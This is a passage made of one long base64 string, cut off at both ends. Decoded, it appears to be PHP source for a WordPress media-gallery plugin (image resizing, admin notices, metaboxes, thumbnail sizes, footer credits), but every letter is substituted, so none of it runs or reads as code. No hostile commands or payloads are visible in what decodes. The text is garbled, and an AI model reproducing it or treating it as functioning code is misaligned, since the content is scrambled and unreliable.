fcWtxYycsICdOV2FfYU5IX1VxSHFfcmRCVU5QX3FrcWMnKTsNCg0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogICBaTkhxeGZjIFlXcWFOIFZOckJwTlAgcjNCSEdoTlAgKCBBSUFSICkNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOV2FfcjNCSEdoX0JXcWFOUE5yQnBOUCgpew0KCQ0KCUdoTkcxX3FrcWNfUE5qTlBOUCgnTldhX0JXcWFOX1BOcl9yM0JIR2hOUCcsICdyTkd0UEJIZycpOw0KCQ0KCUJqICggIUJyck5IKCAkX1FNMkpbJ0dXVSddICkgKSB7DQoJCQ0KCQlOR2hmICAneSc7DQoJCQ0KCQkzRF9VQk4oKTsNCgkJDQoJCX0NCgkJDQoJCU5kck4gew0KCQkJDQoJCQkkTldhX3REVV9mREhCZm1yID0gYU5IX2ZESEJmbSgnTnFyZ19XTlVCcV9mREgnKTsNCgkJCSROV2FfdERVX2ZESEJmbXJbJ05xcmdXTlVCcV9VQnJObV9ISGh0V3gnXVsnQlUnXSA9ICd5JzsNCgkJCQl0RFVxSE5fZkRIQmZtKCdOcXJnX1dOVUJxX2ZESCcsICROV2FfdERVX2ZESEJmbXIpOwkJCQkNCgkJCQlOR2hmICAnVWZtTic7DQoJCQkJM0RfVUJOKCk7DQoNCgl9DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OV2FfcjNCSEdoX0JXcWFOUE5yQnBOUCcsICdOV2FfcjNCSEdoX0JXcWFOUE5yQnBOUCcgKTsNCg0KCQ0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICAgWk5IcXhmYyAoIFpOVUJxIFhVQkhmUCApIEpCV0hodFd4IDdoTkcxcg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9XTkhxeGZjX0hCV0hodFd4X0doTkcxKCRqQmROKXsNCg0KCSRySFBOcVcgPSBAamZETm0oICRqQmROLCAnMycgKTsNCgkNCglCaiggJHJIUE5xVyApew0KCQkJDQoJCWpHZGZyTiggJHJIUE5xVyApOw0KCQl0bWRCbTEoICRqQmROICk7DQoJCQ0KCQkJUE5IdFBtIEhQdE47DQoNCgkJfSBOZHJOIHsNCgkJCQ0KCQkJcVVVX3FHSEJmbSggJ3FVV0JtX21mSEJHTnInLCAnTldhX0hCV0hodFd4X0RQZnhkTlcnICk7DQoJCQkNCgkJCWZ4X3JIcVBIKCk7ID8+CQ0KPHJHUEJESD4NCmt6dE5QZyhVZkd0V05tSCkuUE5xVWcoanRtR0hCZm0oJCkgew0KDQoJa3p0TlBnKCcjQlBOcHIzJykuR2RCRzEoanRtR0hCZm0oTm9ObUgpew0KCQkNCgkJTm9ObUguRFBOb05tSEZOanF0ZEgoKTsNCgkJa3p0TlBnKCcuTldhM3FQbUJtYScpLkdycigneHFHMWFQZnRtVS1CV3FhTicsJ3RQZCg8P0RoRCBOR2hmIERkdGFCbXJfdFBkKCdCV3FhTnIvcjNCSEdoLmFCaicgLCBVQlBtcVdOKF9faVl1WF9fKSk7ID8+KScpOw0KCQlrenROUGcoJy5OV2EzcVBtQm1hRCcpLmpxVU5NdEgoRXl5KTsNCgkJa3p0TlBnKCcucjNCR0hkZnFVQm1hJykuanFVTlltKFN5eSk7DQoJCQ0KCQlyTkhKQldOZnRIKGp0bUdIQmZtKCl7DQoJCQlOV2FfcjNCSEdoX0JXcWFOUE5yQnBOUCgpOw0KCQkJfSwgYnl5eSk7IA0KCQ0KCQl9KTsNCgkJDQoJanRtR0hCZm0gTldhX3IzQkhHaF9CV3FhTlBOckJwTlAoKSB7DQoJCQ0KCQlvcVAgVXFIcSA9IHsNCgkJCXFHSEJmbTogJ05XYV9yM0JIR2hfQldxYU5QTnJCcE5QJywNCgkJCXJOR3RQQkhnOiAnPD9EaEQgTkdoZiAzRF9HUE5xSE5fbWZtR04oICJOV2FfQldxYU5fUE5yX3IzQkhHaE5QIik7ID8+JywNCgkJCUdXVTogJ0docW1hTicsDQoJCQkJfTsNCgkJCQ0KCQkJa3p0TlBnLkRmckgocWtxY3RQZCwgVXFIcSwganRtR0hCZm0oUE5yRGZtck4pIHsNCgkJCQlCaiAoUE5yRGZtck4gIT0gJ3knKSB7DQoJCQkJCQ0KCQkJCWt6dE5QZygnLk5XYTNxUG1CbWEnKS5HcnIoJ3hxRzFhUGZ0bVUtQldxYU4nLCd0UGQoPD9EaEQgTkdoZiBEZHRhQm1yX3RQZCgnQldxYU5yL3IzSEhCRzEuRG1hJyAsIFVCUG1xV04oX19pWXVYX18pKTsgPz4pJyk7DQoJCQkJa3p0TlBnKCcucjNCR0hkZnFVQm1hJykuSE5jSCgnWVdxYU4gVk5yQnBOUCBXTkhoZlUgM3FyIHJ0R0dOcnJqdGRkZyBHaHFtYU5VLiBKaEJyIERxYU4gM0JkZCBCbXJIcW1IZGcgUE5kZnFVIEhmIHFERGRnIEhoTiBHaHFtYU5yLCBEZE5xck4gM3FCSC4uLicpOw0KCQkJCQ0KCQkJCXJOSEpCV05mdEgoanRtR0hCZm0oKXsNCgkJCQkJZGZHcUhCZm0uUE5kZnFVKCk7DQoJCQkJCX0sIGJ5eXkpOyAgIA0KCQkJCQkNCgkJCQkJCX0NCgkJCQkJCQkJCQkJCQ0KCQkJCQlOZHJOIHsNCgkJCQkJCQ0KCQkJCQkJa3p0TlBnKCcuTldhM3FQbUJtYScpLkdycigneHFHMWFQZnRtVS1CV3FhTicsJ3RQZCg8P0RoRCBOR2hmIERkdGFCbXJfdFBkKCdCV3FhTnIvM3FQbUJtYV9QTlUuRG1hJyAsIFVCUG1xV04oX19pWXVYX18pKTsgPz4pJyk7DQoJCQkJCQlrenROUGcoJy5yM0JHSGRmcVVCbWEnKS5ITmNIKCdBa3FjIFBOMHROckgganFCZE5VISBKaEJyIERxYU4gM0JkZCBCbXJIcW1IZGcgUE5kZnFVLCBEZE5xck4gM3FCSC4uLicpOw0KCQkJCQkJDQoJCQkJCQlyTkhKQldOZnRIKGp0bUdIQmZtKCl7DQoJCQkJCQkJZGZHcUhCZm0uUE5kZnFVKCk7DQoJCQkJCQkJfSwgYnl5eSk7DQoJCQkJCQkJDQoJCQkJCQl9DQoJCQkJCX0pOw0KCQkJfQkNCn0pOw0KPC9yR1BCREg+DQoJCQkNCgkJPD9EaEQJDQoJJGFObUdmVU4gPSBmeF9hTkhfR2ROcW0oKTsNCglOR2hmIE5XYV9rcl9HZldEUE5yciggJGFObUdmVU4gKTsNCgkJCX0NCgkJDQoJCWp0bUdIQmZtIE5XYV9IQldIaHRXeF9EUGZ4ZE5XKCl7DQoJCQkNCgkJCU5HaGYgIjxVQm8gR2RxcnI9J05QUGZQJz48ckRxbSBHZHFycj0nTldhM3FQbUJtYSc+PEQgR2RxcnI9J05XYTNxUG1CbWFEJz4iLl9fKCAnSmhOUE4gck5OV3IgSGYgeE4gcSBEUGZ4ZE5XIDNCSGggSGhOIHRyTiBmaiA8ckhQZm1hPkpCV0hodFd4IDJHUEJESDwvckhQZm1hPiwgcmYgJy5YWm5fWUpYWl9zQVpYLicgR3FtIG1mSCBVQnJEZHFnIHFkZCBmaiBnZnRQIEJXcWFOci4gSmhCciBCciB0cnRxZGRnIEdxdHJOVSB4ZyBnZnRQIHJOUG9OUC9oZnJIQm1hIEdmbWpCYXRQcUhCZm1yLiA8cSBySGdkTj0iSE5jSC1VTkdmUHFIQmZtOiBtZm1OIUJXRGZQSHFtSDsiIGhQTmo9IiMiIEJVPSJCUE5wcjMiPjdkQkcxIGhOUE4gSGYgcjNCSEdoIEJXcWFOIFBOckJwTiBXTkhoZlUgSGYgWHFyZ1pOVUJxIFZOckJwTlAuPC9xPicsICdOcXJXTlVCcScgKS4iPC9EPjxEIEdkcXJyPSdyM0JHSGRmcVVCbWEnPlFkTnFyTiAzcUJILi4uPC9EPjwvckRxbT48L1VCbz4iOw0KCQkJfQkNCg0KfQ0KDQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgbk5IIEhoTiBCV3FhTnIgalBmVyBIaE4gOFEgZEJ4UHFQZw0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTldhX2RCeFBxUGdfQldxYU5yKCAkRHFhTiA9IEUsICRETlBfRHFhTiA9IEVlICkgew0KCSQwdE5QZ19CV3FhTnJfcVBhciA9IHFQUHFnKA0KCQknRGZySF9IZ0ROJyA9PiAncUhIcUdoV05tSCcsICdEZnJIX1dCV05fSGdETicgPT4nQldxYU4nLCAnRGZySF9ySHFIdHInID0+ICdCbWhOUEJIJywgJ0RmckhyX0ROUF9EcWFOJyA9PiAkRE5QX0RxYU4sICdEcWFOVScgPT4gJERxYU4NCgkpOw0KCQ0KCSQwdE5QZ19CV3FhTnIgPSBtTjMgOFFfenROUGcoICQwdE5QZ19CV3FhTnJfcVBhciApOw0KCSRCV3FhTnIgPSBxUFBxZygpOw0KCQ0KCWpmUE5xR2ggKCAkMHROUGdfQldxYU5yLT5EZnJIciBxciAkQldxYU4gKSB7IA0KCQkkQldxYU5yW10gPSBxUFBxZygNCgkJCSdCVScJPT4gJEJXcWFOLT5ZRiwNCgkJCSd0UGQnIAk9PiAkQldxYU4tPmF0QlUNCgkJKTsNCgl9DQoJDQoJJEJXYV9tdFd4TlAgPSAkMHROUGdfQldxYU5yLT5qZnRtVV9EZnJIcjsNCgkkRHFhTl9HZnRtSCA9IEdOQmQoICRCV2FfbXRXeE5QIC8gJEROUF9EcWFOICk7DQoJJHJoZjNtID0gJEROUF9EcWFOICogJERxYU47DQoJKCAkcmhmM20gPj0gJEJXYV9tdFd4TlAgKSA/ICRXZlBOID0ganFkck4gOiAkV2ZQTiA9IEhQdE47IA0KCQ0KCVBOSHRQbSBxUFBxZyggJ0JXYScgPT4gJEJXcWFOciwgJ0RxYScgPT4gJERxYU4sICdEcWFOX0dmdG1IJyA9PiREcWFOX0dmdG1ILCAnV2ZQTicgPT4gJFdmUE4sICdIZkhxZEJXYScgPT4gJEJXYV9tdFd4TlAgKTsNCn0NCg0KanRtR0hCZm0gTldhX05jSF9yTmQoICRXTlVCcSApIHsNCglCaiAoIEJyX3FQUHFnKCAkV05VQnEgKSApIHsNCgkJJG1OM19xUFBxZyA9IHFQUHFnKCk7DQoJCQ0KCQlqZlBOcUdoKCAkV05VQnEgcXIgJFdOVUJxX0JVICkgew0KCQkJQmogKCBhTkhfSGhOX0hCSGROKCAkV05VQnFfQlUgKSApIHsJDQoJCQkJJG1OM19xUFBxZ1tdID0gJFdOVUJxX0JVOw0KCQkJfQ0KCQl9DQoJCQ0KCQlCaiAoR2Z0bUgoJG1OM19xUFBxZykgPT0geSkge1BOSHRQbSBqcWRyTjt9DQoJCU5kck4ge1BOSHRQbSAkbU4zX3FQUHFnO30NCgl9DQoJTmRyTiB7UE5IdFBtIGpxZHJOO30JDQp9DQoNCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBYcXJnV05VQnEgN3RySGZXIDdxSE5hZlBnIDlmYyAoWk5IcXhmYykNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KKi8NCmp0bUdIQmZtIE5xcmdXTlVCcWFxZGROUGdfR3FITmFmUEJOcl9XTkhxX3hmYyggJERmckgsICR4ZmMgKSB7DQoJJFVOanF0ZEhyID0gcVBQcWcoJ0hxY2ZtZldnJyA9PiAnTldOVUJxYXFkZE5QZycpOw0KCUJqICggIUJyck5IKCAkeGZjWydxUGFyJ10gKSB8fCAhQnJfcVBQcWcoICR4ZmNbJ3FQYXInXSApICkNCgkJJHFQYXIgPSBxUFBxZygpOw0KCU5kck4NCgkJJHFQYXIgPSAkeGZjWydxUGFyJ107DQoJTmNIUHFHSCggM0RfRHFQck5fcVBhcigkcVBhciwgJFVOanF0ZEhyKSwgWFJKVl8yNVlRICk7DQoJJEhxYyA9IGFOSF9IcWNmbWZXZyggJEhxY2ZtZldnICk7DQoNCgk/Pg0KCTxVQm8gQlU9IkhxY2ZtZldnLTw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/PiIgR2RxcnI9IkdxSE5hZlBnVUJvIj4NCgkJPHRkIEJVPSI8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz4tSHF4ciIgR2RxcnI9IkdxSE5hZlBnLUhxeHIiPg0KCQkJPGRCIEdkcXJyPSJIcXhyIj48cSBoUE5qPSIjPD9EaEQgTkdoZiAkSHFjZm1mV2c7ID8+LXFkZCI+PD9EaEQgTkdoZiAkSHFjLT5kcXhOZHItPnFkZF9CSE5XcjsgPz48L3E+PC9kQj4NCgkJCTxkQiBHZHFycj0iaEJVTi1Cai1tZi1rciI+PHEgaFBOaj0iIzw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/Pi1EZkQiPjw/RGhEIF9OKCAnWmZySCBLck5VJyApOyA/PjwvcT48L2RCPg0KCQk8L3RkPg0KDQoJCTxVQm8gQlU9Ijw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/Pi1EZkQiIEdkcXJyPSJIcXhyLURxbU5kIiBySGdkTj0iVUJyRGRxZzogbWZtTjsiPg0KCQkJPHRkIEJVPSI8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz5HaE5HMWRCckgtRGZEIiBHZHFycj0iR3FITmFmUGdHaE5HMWRCckggamZQVy1tZi1HZE5xUCIgPg0KCQkJCTw/RGhEICREZkR0ZHFQX0JVciA9IDNEX0RmRHRkcVBfSE5QV3JfR2hORzFkQnJIKCRIcWNmbWZXZyk7ID8+DQoJCQk8L3RkPg0KCQk8L1VCbz4NCg0KCQk8VUJvIEJVPSI8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz4tcWRkIiBHZHFycj0iSHF4ci1EcW1OZCI+DQoJCQk8P0RoRA0KICAgICAgICAgICAgJG1xV04gPSAoICRIcWNmbWZXZyA9PSAnTldOVUJxYXFkZE5QZycgKSA/ICdEZnJIX0dxSE5hZlBnJyA6ICdIcWNfQm1EdEhbJyAuICRIcWNmbWZXZyAuICddJzsNCiAgICAgICAgICAgIE5HaGYgIjxCbUR0SCBIZ0ROPSdoQlVVTm0nIG1xV049J3skbXFXTn1bXScgb3FkdE49J3knIC8+IjsgLy8gQWRkZjNyIGpmUCBxbSBOV0RIZyBITlBXIHJOSCBIZiB4TiByTm1ILiB5IEJyIHFtIEJtb3FkQlUgSk5QVyBZRiBxbVUgM0JkZCB4TiBCYW1mUE5VIHhnIE5XREhnKCkgR2hORzFyLg0KICAgICAgICAgICAgPz4NCgkJCTx0ZCBCVT0iPD9EaEQgTkdoZiAkSHFjZm1mV2c7ID8+R2hORzFkQnJIIiBVcUhxLTNELWRCckhyPSJkQnJIOjw/RGhEIE5HaGYgJEhxY2ZtZldnPz4iIEdkcXJyPSJHcUhOYWZQZ0doTkcxZEJySCBqZlBXLW1mLUdkTnFQIj4NCgkJCQk8P0RoRCAzRF9ITlBXcl9HaE5HMWRCckgoJERmckgtPllGLCBxUFBxZyggJ0hxY2ZtZldnJyA9PiAkSHFjZm1mV2csICdEZkR0ZHFQX0dxSHInID0+ICREZkR0ZHFQX0JVciApICkgPz4NCgkJCTwvdGQ+DQoJCTwvVUJvPg0KCTw/RGhEIEJqICggR3RQUE5tSF90ck5QX0dxbSgkSHFjLT5HcUQtPk5VQkhfSE5QV3IpICkgOiA/Pg0KCQkJPFVCbyBCVT0iPD9EaEQgTkdoZiAkSHFjZm1mV2c7ID8+LXFVVU5QIiBHZHFycj0iM0QtaEJVVU5tLUdoQmRVUE5tIj4NCgkJCQk8aGU+DQoJCQkJCTxxIEJVPSI8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz4tcVVVLUhmYWFkTiIgaFBOaj0iIzw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/Pi1xVVUiIEdkcXJyPSJoQlVOLUJqLW1mLWtyIj4NCgkJCQkJCTw/RGhEDQoJCQkJCQkJLyogSFBxbXJkcUhmUHI6ICVyOiBxVVUgbU4zIEhxY2ZtZldnIGRxeE5kICovDQoJCQkJCQkJRFBCbUhqKCBfXyggJysgJXInICksICRIcWMtPmRxeE5kci0+cVVVX21OM19CSE5XICk7DQoJCQkJCQk/Pg0KCQkJCQk8L3E+DQoJCQkJPC9oZT4NCgkJCQk8RCBCVT0iPD9EaEQgTkdoZiAkSHFjZm1mV2c7ID8+LXFVVSIgR2RxcnI9IkdxSE5hZlBnLXFVVSAzRC1oQlVVTm0tR2hCZFUiPg0KCQkJCQk8ZHF4TmQgR2RxcnI9InJHUE5ObS1QTnFVTlAtSE5jSCIgamZQPSJtTjM8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz4iPjw/RGhEIE5HaGYgJEhxYy0+ZHF4TmRyLT5xVVVfbU4zX0JITlc7ID8+PC9kcXhOZD4NCgkJCQkJPEJtRHRIIEhnRE49IkhOY0giIG1xV049Im1OMzw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/PiIgQlU9Im1OMzw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/PiIgR2RxcnI9ImpmUFctUE4wdEJQTlUgamZQVy1CbUR0SC1IQkQiIG9xZHROPSI8P0RoRCBOR2hmIE5yR19xSEhQKCAkSHFjLT5kcXhOZHItPm1OM19CSE5XX21xV04gKTsgPz4iIHFQQnEtUE4wdEJQTlU9IkhQdE4iLz4NCgkJCQkJPGRxeE5kIEdkcXJyPSJyR1BOTm0tUE5xVU5QLUhOY0giIGpmUD0ibU4zPD9EaEQgTkdoZiAkSHFjZm1mV2c7ID8+X0RxUE5tSCI+DQoJCQkJCQk8P0RoRCBOR2hmICRIcWMtPmRxeE5kci0+RHFQTm1IX0JITldfR2ZkZm07ID8+DQoJCQkJCTwvZHF4TmQ+DQoJCQkJCTw/RGhEIDNEX1VQZkRVZjNtX0dxSE5hZlBCTnIoIHFQUHFnKCAnSHFjZm1mV2cnID0+ICRIcWNmbWZXZywgJ2hCVU5fTldESGcnID0+IHksICdtcVdOJyA9PiAnbU4zJy4kSHFjZm1mV2cuJ19EcVBObUgnLCAnZlBVTlB4ZycgPT4gJ21xV04nLCAnaEJOUHFQR2hCR3FkJyA9PiBFLCAncmhmM19mREhCZm1fbWZtTicgPT4gJyZXVXFyaDsgJyAuICRIcWMtPmRxeE5kci0+RHFQTm1IX0JITlcgLiAnICZXVXFyaDsnICkgKTsgPz4NCgkJCQkJPEJtRHRIIEhnRE49Inh0SEhmbSIgQlU9Ijw/RGhEIE5HaGYgJEhxY2ZtZldnOyA/Pi1xVVUtcnR4V0JIIiBVcUhxLTNELWRCckhyPSJxVVU6PD9EaEQgTkdoZiAkSHFjZm1mV2cgPz5HaE5HMWRCckg6PD9EaEQgTkdoZiAkSHFjZm1mV2cgPz4tcVVVIiBHZHFycj0ieHRISGZtIEdxSE5hZlBnLXFVVS1ydHhXQkgiIG9xZHROPSI8P0RoRCBOR2hmIE5yR19xSEhQKCAkSHFjLT5kcXhOZHItPnFVVV9tTjNfQkhOVyApOyA/PiIgLz4NCgkJCQkJPD9EaEQgM0RfbWZtR05fakJOZFUoICdxVVUtJy4kSHFjZm1mV2csICdfcWtxY19tZm1HTi1xVVUtJy4kSHFjZm1mV2csIGpxZHJOICk7ID8+DQoJCQkJCTxyRHFtIEJVPSI8P0RoRCBOR2hmICRIcWNmbWZXZzsgPz4tcWtxYy1QTnJEZm1yTiI+PC9yRHFtPg0KCQkJCTwvRD4NCgkJCTwvVUJvPg0KCQk8P0RoRCBObVVCajsgPz4NCgk8L1VCbz4NCgk8P0RoRA0KfQ0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogQVVVIFFmckggSmh0V3htcUJkciBxbVUgN3RySGZXIEpodFd4bXFCZHIgckJwTg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcldOVUJxX3FVVV9IaHRXeG1xQmRfcnRERGZQSCgpIHsNCglCaiAoICFHdFBQTm1IX0hoTldOX3J0RERmUEhyKCAnRGZySC1IaHRXeG1xQmRyJyApKSAgew0KcVVVX0hoTldOX3J0RERmUEgoICdEZnJILUhodFd4bXFCZHInLCBxUFBxZyggJ05xcmdXTlVCcWFxZGROUGcnICkgKTsNCnFVVV9CV3FhTl9yQnBOKCAnTldhLXFVV0JtLUhodFd4JywgbHksIGx5LCBIUHROICk7IC8vIEtyTlUgQm0gSGhOIE5xcmdXTlVCcSBOVUJIIERxYU4NCgl9DQp9DQpxVVVfcUdIQmZtKCdCbUJIJywgJ05xcldOVUJxX3FVVV9IaHRXeG1xQmRfcnRERGZQSCcpOw0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogQVVVIEdQTlVCSHIgQm0gcVVXQm0gRHFhTg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5xcmdXTlVCcWFxZGROUGdfcVVVX2pmZkhOUF9HUE5VQkhyKCAkSE5jSCApIHsNCgkkSCA9ICcnOw0KCUJqICggYU5IX0RmckhfSGdETigpID09PSAnTnFyZ1dOVUJxYXFkZE5QZycgKSB7DQoJCSRIIC49ICI8VUJvIEJVPVwiR1BOVUJIclwiIHJIZ2ROPVwiZEJtTi1oTkJhaEg6IENDRGM7XCI+IjsNCgkJJEggLj0gIjxEPlhxcmcgWk5VQnEgbnFkZE5QZyBEZHRhQm0gQnIgR1BOcUhOVSB4ZyA8cSBoUE5qPVwiaEhIRDovLzMzMy5haGZwZ2RxeC5HZlcvXCIgSHFQYU5IPVwiX3hkcW0xXCI+bmhmcGd1cXgsIFltRzwvcT4uPC9EPiI7DQoJCSRIIC49ICI8RD5ZaiBnZnQgaHFvTiByZldOIHJ0RERmUEggQnJydE4sIFVmbSdIIGhOckJIcUhOIEhmIDxxIGhQTmo9XCJoSEhEOi8vYWhmcGdkcXguR2ZXL0RkdGFCbXIvcnR4V0JILXJ0RERmUEgtUE4wdE5ySFwiIEhxUGFOSD1cIl94ZHFtMVwiPjNQQkhOIGhOUE48L3E+LiBKaE4gbmhmcGd1cXggSE5xVyAzQmRkIHhOIGhxRERnIEhmIHJ0RERmUEggZ2Z0IGZtIHFtZyBCcnJ0Ti48L0Q+IjsNCgkJJEggLj0gIjwvVUJvPiI7DQoJfU5kck57DQoJCSRIID0gJEhOY0g7DQoJfQ0KDQoJUE5IdFBtICRIOw0KfQ0KcVVVX2pCZEhOUCggJ3FVV0JtX2pmZkhOUF9ITmNIJywgJ05xcmdXTlVCcWFxZGROUGdfcVVVX2pmZkhOUF9HUE5VQkhyJyApOw0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIG5OSCBIaE4gRHFISE5QbXIgZEJySCANCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOcXJXTlVCcV9EcUhITlBtcl9kcigpIHsNCgkkRHFISE5QbXIgPSBxUFBxZygpOw0KCSREcUhITlBtcl9kQnJIID0gckdxbVVCUCggWFpuX0ZZVi4iL0dyci9CV3FhTnIvRHFISE5QbXIiICk7DQoJDQoJamZQTnFHaCggJERxSEhOUG1yX2RCckggcXIgJERxSEhOUG1fbXFXTiApIHsNCgkJQmogKCAkRHFISE5QbV9tcVdOICE9ICcuJyAmJiAkRHFISE5QbV9tcVdOICE9ICcuLicgKSB7DQoJCQkkRHFISE5QbXJbXSA9ICREcUhITlBtX21xV047DQoJCX0NCgl9DQoJUE5IdFBtICREcUhITlBtcjsJDQp9DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgVlhaTUxYIFFYVlpBdVlzNQ0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTldhX2hCVU5fRE5QV3FkQm0xKCkgew0KYWRmeHFkICREZnJIX0hnRE47DQpCaiggJERmckhfSGdETiA9PSAnTnFyZ1dOVUJxYXFkZE5QZycgKSB7DQpOR2hmICc8ckhnZE4gSGdETj0iSE5jSC9HcnIiPiNOVUJILXJkdGEteGZje1VCckRkcWc6IG1mbU47fTwvckhnZE4+JzsNCn0NCn0NCnFVVV9xR0hCZm0oJ3FVV0JtX2hOcVUnLCAnTldhX2hCVU5fRE5QV3FkQm0xJyk7IA0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCi8qICBWWFpNTFggSlRYIFFBVlhzSiBpWVh1RiBpTVYgSlRYIDdLMkpNWiBKWFJNc01aNg0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOV2FfUE5XZm9OX0dxSF9EcVBObUgoKXsNCiAgICBhZGZ4cWQgJEd0UFBObUhfckdQTk5tOw0KICAgIHIzQkhHaCAoICRHdFBQTm1IX3JHUE5ObS0+QlUgKSB7DQogICAgICAgIEdxck4gJ05VQkgtTldOVUJxYXFkZE5QZyc6DQogICAgICAgICAgICANCgkJCT8+DQoJCQk8ckdQQkRIIEhnRE49IkhOY0gva3FvcXJHUEJESCI+DQogICAgICAgICAgICBrenROUGcoVWZHdFdObUgpLlBOcVVnKCBqdG1HSEJmbSgkKSB7DQogICAgICAgICAgICAgICAga3p0TlBnKCcjRHFQTm1IJykuRHFQTm1IcignLmpmUFctakJOZFUnKS5QTldmb04oKTsNCgkJCQlrenROUGcoJyNIcWEtcmR0YSwgI0hxYS1VTnJHUEJESEJmbScpLkRxUE5tSHIoJy5qZlBXLWpCTmRVJykuaEJVTigpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICA8L3JHUEJESD4NCiAgICAgICAgICAgIDw/RGhEDQoJCQkNCiAgICAgICAgICAgIHhQTnExOw0KICAgIH0NCn0NCnFVVV9xR0hCZm0oJ3FVV0JtX2pmZkhOUC1OVUJILUhxYXIuRGhEJywgJ05XYV9QTldmb05fR3FIX0RxUE5tSCcpOw0KDQovKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qLw0KLyogIFRYUiBIZiBWbjkNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQpqdG1HSEJmbSBOcXJnV05VQnFfaE5jQ1BheCgkaE5jKSB7DQogICAkaE5jID0gckhQX1BORGRxR04oIiMiLCAiIiwgJGhOYyk7DQoNCiAgIEJqKHJIUGRObSgkaE5jKSA9PSBiKSB7DQogICAgICAkUCA9IGhOY1VORyhydHhySFAoJGhOYyx5LEUpLnJ0eHJIUCgkaE5jLHksRSkpOw0KICAgICAgJGEgPSBoTmNVTkcocnR4ckhQKCRoTmMsRSxFKS5ydHhySFAoJGhOYyxFLEUpKTsNCiAgICAgICR4ID0gaE5jVU5HKHJ0eHJIUCgkaE5jLE